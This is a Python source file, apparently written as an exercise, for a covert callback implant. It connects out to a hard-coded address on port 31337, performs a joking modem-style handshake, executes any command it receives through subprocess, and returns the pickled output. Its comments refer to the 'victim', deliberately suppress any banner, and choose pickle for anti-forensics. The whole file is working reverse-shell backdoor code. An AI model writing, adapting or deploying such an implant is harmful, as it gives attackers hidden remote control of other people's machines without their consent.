#!/usr/bin/python

# Task: Implement a server to run on an Ubuntu system. It must:
# -- hold a port
# -- receive commands -- in the form of command-line arguments
# -- execute commands -- via os library
# -- return the results -- capture stdout/stderr...

# immediate considerations:
# we'll need sockets
# we'll need pickling or json-ing; i think i'll prefer the pickle to impose
# antiforensics costs

# Must EITHER callback OR listen... I think I'd rather...have it call back.
# That means the client will bind and the server will...well that's an odd
# way of thinking about it; having a server initiate the connection? I'm kindof
# reversing the paradigm there...but once the connection is established, the server
# will service client activity, so we'll just roll with that.

import socket
import os # return values
import ipaddress # Is this necessary?
import re # for passphrase
import sys # for exit
import subprocess # for commands
import pickle # for transfer
import select # for black magic

trinity = "10.0.2.15"
nebuchadnezzar = 31337

def sessionStartup(s):
    # We're using a magic string for our initialization; we'll try 3 times and otherwise fail out.
    for i in range(1,3):
        s.sendto("ATDT18005551234".encode(), (trinity,nebuchadnezzar))
        signal = s.recv(512)
        if re.search("ATA", signal.decode()):
            s.sendto("CONNECT".encode(), (trinity, nebuchadnezzar))
            return True
    # If Trinity doesn't pick up, we're screwed
    return False



def main():
    # What, do you think I'd print a banner for the victim? Pshaw.
    # print("Initializing server. Please stand by while your system initiates an unauthorized connection...")
    #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Aren't these the default parameters?
    startup = False

    while True:
        try:
            #s.connect((trinity, nebuchadnezzar)) # Tee-hee
            s = socket.create_connection((trinity, nebuchadnezzar))
            s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)
        except OSError as e:
            # As they say in PowerShell...SilentlyContinue
            return -1
        if not startup:
            result = sessionStartup(s)
            startup = True
        if not result:
            return -1
        with s:
            print("I'm listening")
            instruction = s.recv(4096)
            parsedInstructions = instruction.decode().split()
            try:
                results = subprocess.run(parsedInstructions, capture_output=True)
                p = pickle.dumps(results)
            except OSError as e:
                msg = f"Error encountered: {e}"
                p = pickle.dumps(msg)
            try:
                s.sendall(p)
            except OSError as e:
                print(f"Error encountered: {e}")




if __name__ == "__main__":
    sys.exit(main())